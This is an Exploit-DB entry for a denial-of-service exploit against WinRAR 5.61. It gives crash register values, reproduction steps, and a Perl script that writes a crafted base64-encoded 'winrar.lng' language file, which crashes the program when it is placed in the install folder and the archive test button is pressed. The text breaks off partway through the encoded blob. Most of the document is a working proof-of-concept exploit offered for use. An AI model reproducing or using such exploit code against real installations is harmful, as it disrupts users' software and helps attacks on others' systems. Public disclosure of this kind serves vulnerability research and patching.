Exploit-DB #46432
Description: WinRAR 5.61 - '.lng' Denial of Service
Type: dos
Platform: windows
Date: 2019-02-20
Author: Kağan Çapar

Exploit:
# Exploit Title: WinRAR 5.61 - Denial of Service
# Author: Kağan Çapar
# Discovery Date: 2019-02-20
# Software Link: https://win-rar.com/predownload.html?spV=true&subD=true&f=wrar561tr.exe
# Vendor Homepage : https://www.win-rar.com
# Tested Version: 5.61 32 Bit
# Tested on OS: Windows 10 Education 64 Bit
# Steps to Reproduce: Run perl exploit, copy "winrar.lng" WinRAR installed path
# Add archive any some file, Open archive WinRAR program and press test button and you will see crash!
# Thanks: THE_123_HACKER & clairvoyant
# Other version should be affected

# EAX 830110D3(Random)
# ECX 830110D5(Random)
# EDX 830110D5(Random)
# EBX 830110D5(Random)
# ESP 00F1379C
# EBP 00F137A8
# ESI 00F13824
# EDI 00000000
# EIP 004F1DB8 WinRAR.004F1DB8

# CMP WORD PTR DS:[EDX],DI

#!/usr/bin/perl

use MIME::Base64;
open(code, ">winrar.lng");
binmode(code);
$encoded = '
//4qACoAKgBtAGUAcwBzAGEAZwBlAHMAKgAqACoADQAKAA0ACgA7ACAAUwB0AHIAaQBuAGcAcwAN
AAoADQAKADMAZgAxADkAYwA0AGMAOQA9ACIAVABhAG0AYQBtACIADQAKADUANQA2ADIAMwAzADMA
ZQA9ACIAVQB5AGEAcgAxASIADQAKADYANgA0AGEAYgBhAGEANAA9ACIASABhAHQAYQAiAA0ACgA0
AGUANwAyADYAZgA4AGYAPQAiACUAYwA6ACAAcwD8AHIA/ABjAPwAcwD8AG4AZQAgAGUAcgBpAF8B
aQBsAGUAbQBpAHkAbwByACIADQAKAGUAYwBmAGIANQAxAGUANwA9ACIAUABhAHIAbwBsAGEAbABh
AHIAIAB1AHkAdQBfAW0AdQB5AG8AcgAuACIADQAKADAANgA1ADUANwBjADMANwA9ACIARABvAHMA
eQBhACAAJQBzACIADQAKADkAMwA5AGUANQAzADMAMgA9ACIAUwBhAGQAZQBjAGUAIABrAGEAeQAx
AXQAbAAxASAAcwD8AHIA/ABtAGQAZQAgAGsAdQBsAGwAYQBuADEBbABhAGIAaQBsAGkAcgAuACIA
DQAKAGMAMABkADAAZgAyADYANAA9ACIAQQByAF8BaQB2ACIADQAKADUANABhADMANwAwAGIAZAA9
ACIAQgB1ACAAawBvAG4AdQBtAGEAIABlAHIAaQBfAWkAbABlAG0AaQB5AG8AcgA6ACAAXAAiACUA
cwBcACIAIAAiAA0ACgA2ADIAZAA4ADMAYwA3AGIAPQAiAEUAawBsAGUAIgANAAoAMAA3AGQAYgBi
ADYAYQBlAD0AIgBHAPYAcwB0AGUAcgAiAA0ACgBjAGMAOQAwAGMAZABkAGEAPQAiAFMAaQBsACIA
DQAKADcAOAA2ADYAOAA1ADcAYwA9ACIATwBuAGEAcgAiAA0ACgAyAGIANwA2ADkAZQAyADYAPQAi
AMcAMQFrAGEAcgB0ACIADQAKAGEAZQBiADIAMwAyADgAZgA9ACIARABpAHoAaQBuAGUAIADHADEB
awBhAHIAdAAiAA0ACgAyADEANQA5ADYAMwAyAGMAPQAiAFQAZQBzAHQAIABFAHQAIgANAAoAOAAx
ADUAOABmAGQAOQA0AD0AIgBBAOcAMQFrAGwAYQBtAGEAIgANAAoAOABhADUAOQA1AGYAYgBhAD0A
IgBLAG8AcgB1ACIADQAKADcAZQBhADkAOAA2ADIAZQA9ACIASwBpAGwAaQB0AGwAZQAiAA0ACgBm
ADUAYQA3ADcAMQBjADIAPQAiAFMARgBYACIADQAKADMAMgBhAGYAMgBjADcANwA9ACIAQgBpAGwA
ZwBpACIADQAKAGQAZgAwADQANgA3ADYAMQA9ACIAUwBpAGgAaQByAGIAYQB6ACIADQAKADYAZAAy
AGYAOQA5ADIAZQA9ACIAxwAxAWsAMQFfASIADQAKADMAMAA4ADgANwA5ADIANAA9ACIAQgB1AGwA
IgANAAoAYQA3ADkANwAwAGEAOAA3AD0AIgBEAPYAbgD8AF8BdAD8AHIAIgANAAoAZQBiAGIANwBk
ADEANgAyAD0AIgBWAGkAcgD8AHMAVABhAHIAYQAiAA0ACgAzADIAYQBkAGMANgBkADkAPQAiAFIA
YQBwAG8AcgAiAA0ACgAyAGQAMAAwADgAOAAxAGUAPQAiAEgAMQF6ACAAVABlAHMAdABpACIADQAK
ADIAZQA0ADEANwBhAGIAMwA9ACIAWQBhAHoAZAAxAXIAIgANAAoAYQA3ADAANQA2ADMAMgA2AD0A
IgAwAXMAaQBtACIADQAKADAAZQBlADYAMwA5ADQAYQA9ACIAQgBvAHkAdQB0ACIADQAKADcANQBm
ADgANABhADAAOQA9ACIAVAD8AHIAIgANAAoAZAA3ADcANAAwADUANABkAD0AIgBQAGEAawBlAHQA
IgANAAoAZQBjADEAOAAzAGEAMgBkAD0AIgBEAGUAHwFpAF8BbQBlACIADQAKADAAYwA0ADMAMwBj
ADUANQA9ACIAQwBSAEMAMwAyACIADQAKADMAOQAxADgAOQBhAGMAZQA9ACIAQwBSAEMAMQA2ACIA
DQAKAGMAMAA2AGIAZABlAGEANgA9ACIAQgBMAEEASwBFADIAIABzAGEAHwFsAGEAbQBhACAAdABv
AHAAbABhAG0AMQEiAA0ACgA2AGQAMQBjADgAOQAxAGIAPQAiAFMAYQAfAWwAYQBtAGEAIAB0AG8A
cABsAGEAbQAxASIADQAKAGYAMgA3ADIAOQA2ADIAZgA9ACIAWQBvAGwAIgANAAoAZgAxAGQAMgA4
AGEAZAA5AD0AIgBBAHIAXwFpAHYAZQAgAGQAbwBzAHkAYQAgAGUAawBsAGUAIgANAAoAOQAzAGEA
YgA0AGQAYgAyAD0AIgBEAG8AcwB5AGEAeQAxASAAZwD2AHMAdABlAHIAIgANAAoAZgAxAGEAYwA4
AGUANwAyAD0AIgBEAG8AcwB5AGEAbABhAHIAMQEgAHMAaQBsACIADQAKAGIANwBkADgAZABkAGIA
NAA9ACIASABhAHMAYQByAGwAMQEgAGEAcgBfAWkAdgBpACAAbwBuAGEAcgAiAA0ACgA1AGQAMgBj
ADgAZABhAGUAPQAiAE8AbgBhAHkAIABhAGwAbQBhAGQAYQBuACAA5wAxAWsAYQByAHQAIgANAAoA
YgAzAGYANgAzAGEAYwBhAD0AIgBEAG8AcwB5AGEAbABhAHIAMQEgAOcAMQFrAGEAcgB0ACIADQAK
ADkAZgBiADIAMgA1ADUANAA9ACIAQQByAF8BaQB2AGwAZQBuAG0AaQBfASAAZABvAHMAeQBhAGwA
YQByADEBIAB0AGUAcwB0ACAAZQB0ACIADQAKADMANgBhAGMAYgBmAGMAMgA9ACIAQQByAF8BaQB2
ACAAZABvAHMAeQBhAHMAMQFuADEBIABnAPYAcwB0AGUAcgAiAA0ACgBiADYAYgBhADQAYwAwAGUA
PQAiAEQAbwBzAHkAYQB5ADEBIABhAHIAXwFpAHYAZABlAG4AIABzAGkAbAAiAA0ACgA1ADUAMQAy
AGMANgBhAGQAPQAiAEEAcgBfAWkAdgAgAGEA5wAxAWsAbABhAG0AYQBzADEBIABlAGsAbABlACIA
DQAKAGYAMAAwADIANgBjAGMANwA9ACIAQQByAF8BaQB2AGkAIABoAGEAcwBhAHIAYQAgAGsAYQBy
AF8BMQEgAGsAbwByAHUAIgANAAoANABmAGMANgBhADQAOQBmAD0AIgBBAHIAXwFpAHYAIABkAGUA
HwFpAF8BaQBrAGwAaQBrAGwAZQByAGkAbgBpACAAZQBuAGcAZQBsAGwAZQAiAA0ACgAzADMAZAAz
ADEANwAzAGYAPQAiAEEAcgBfAWkAdgBpACAAawBlAG4AZABpAC0AYQDnADEBbABhAG4AIABhAHIA
XwFpAHYAZQAgAGQA9gBuAPwAXwF0APwAcgAiAA0ACgBkADUAZQA2AGEAMgAyAGMAPQAiAEIAaQBs
AGcAaQAgAGcA9gBzAHQAZQByACIADQAKAGMAZQBkAGYANwAzAGYANQA9ACIAQQBjAGUAbQBpACAA
awB1AGwAbABhAG4AMQFjADEBbABhAHIAIABpAOcAaQBuACAAcwBpAGgAaQByAGIAYQB6ACAAYQBy
AGEAeQD8AHoA/AAiAA0ACgBmADYANgAyADEAOQA5ADgAPQAiAFcAaQBuAFIAQQBSACcAMQEgAGsA
YQBwAGEAdAAiAA0ACgBmADIAMgA5AGQAZQA1ADcAPQAiAEQAbwBzAHkAYQBsAGEAcgAxASAAdgBl
ACAAYQByAF8BaQB2AGwAZQByAGkAIABiAHUAbAAiAA0ACgAxAGEAMQBiAGYAMQBiADcAPQAiAEEA
cgBfAWkAdgBsAGUAcgBpACAAYgBhAF8BawBhACAAYgBpAHIAIABiAGkA5wBpAG0AZQAgAGQA9gBu
APwAXwF0APwAcgAiAA0ACgA3ADAANgBhAGYAMwBiAGYAPQAiAEEAcgBfAWkAdgBkAGUAIAB2AGkA
cgD8AHMAIAB0AGEAcgBhAG0AYQBzADEBIAB5AGEAcAAiAA0ACgAxADAAMABhADQAMwBhAGEAPQAi
AFIAYQBwAG8AcgAgAG8AbAB1AF8BdAB1AHIAIgANAAoAMQBhAGMAMgBmADUAYQA2AD0AIgBTADEB
awAxAV8BdAAxAXIAbQBhACAAaAAxAXoAMQEgAHQAZQBzAHQAaQAiAA0ACgA4ADMAOAAyAGUAZABm
ADIAPQAiAEQAbwBzAHkAYQB5ADEBIAB5AGEAegBkADEBcgAiAA0ACgBkADkAYgBjADgAYgA3ADEA
PQAiAEIAaQByACAAcwBlAHYAaQB5AGUAIAB5AHUAawBhAHIAMQEiAA0ACgBjADQAYwAwADUAZQBh
ADIAPQAiAEQAZQBwAG8AbABhACIADQAKAGUANABjADcAZQBlAGEAOQA9ACIARQBuACAAaAAxAXoA
bAAxASIADQAKAGQAYwA0ADAANQA0AGUANAA9ACIASAAxAXoAbAAxASIADQAKAGQANwAwADcAZAA5
AGIAOQA9ACIATgBvAHIAbQBhAGwAIgANAAoAOQA1AGEAMgA1ADMAYgAyAD0AIgAwAXkAaQAiAA0A
CgA1ADQAMgBiADYAYgA2AGYAPQAiAEUAbgAgAGkAeQBpACIADQAKAGUAMwBhADEAYwBhADQAYwA9
ACIATwB0AG8AbQBhAHQAaQBrACAAYQBsAGcAMQFsAGEAIgANAAoAOAAzAGMAYQBlADgAYgBhAD0A
IgBBAHIAXwFpAHYAIABiAHUAbAAiAA0ACgAxADMANAA4ADIANQA0AGMAPQAiAEQAbwBzAHkAYQBs
AGEAcgAxASAAZQBrAGwAZQAgAHYAZQAgA